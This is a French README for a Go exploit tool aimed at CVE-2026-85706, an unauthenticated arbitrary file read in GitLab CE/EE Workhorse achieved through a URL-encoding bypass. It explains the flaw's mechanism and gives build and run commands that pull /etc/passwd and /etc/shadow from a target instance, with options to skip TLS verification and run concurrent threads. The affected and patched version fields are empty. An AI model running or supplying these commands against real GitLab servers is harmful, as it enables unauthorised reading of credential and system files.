
Exploit Go pour CVE-2026-85706, une lecture de fichier arbitraire non authentifiée dans GitLab CE/EE Workhorse via un contournement d'encodage d'URL, avec requêtes concurrentes et contournement TLS.
Vulnérabilité de lecture arbitraire de fichiers sans authentification dans GitLab CE/EE (CVE-2026-85706).
Versions affectées :
Versions corrigées :
La vulnérabilité existe dans le composant Workhorse de GitLab. L'expression régulière de Workhorse voit un chemin encodé, tandis que Puma le décode. L'appel Rails File.open(file.path) est effectué avant l'authentification, et l'analyse urlencoded interpole un encodage % invalide dans le corps de la réponse 400, provoquant la fuite du contenu des fichiers.
# Build the tool
go build -o CVE-2026-85706 CVE-2026-85706.go
# Run the exploit
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/passwd
| Argument | Description | Défaut |
|---|---|---|
-u | URL cible (par ex., https://gitlab.example.com) | - |
-f | Fichier à lire (par ex., /etc/passwd) | - |
-k | Ignorer la vérification TLS | false |
-t | Nombre de threads concurrents | 1 |
-v | Sortie verbeuse | false |
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/shadow -k
Cela tentera de lire le fichier /etc/shadow depuis l'instance GitLab cible, en ignorant la vérification TLS.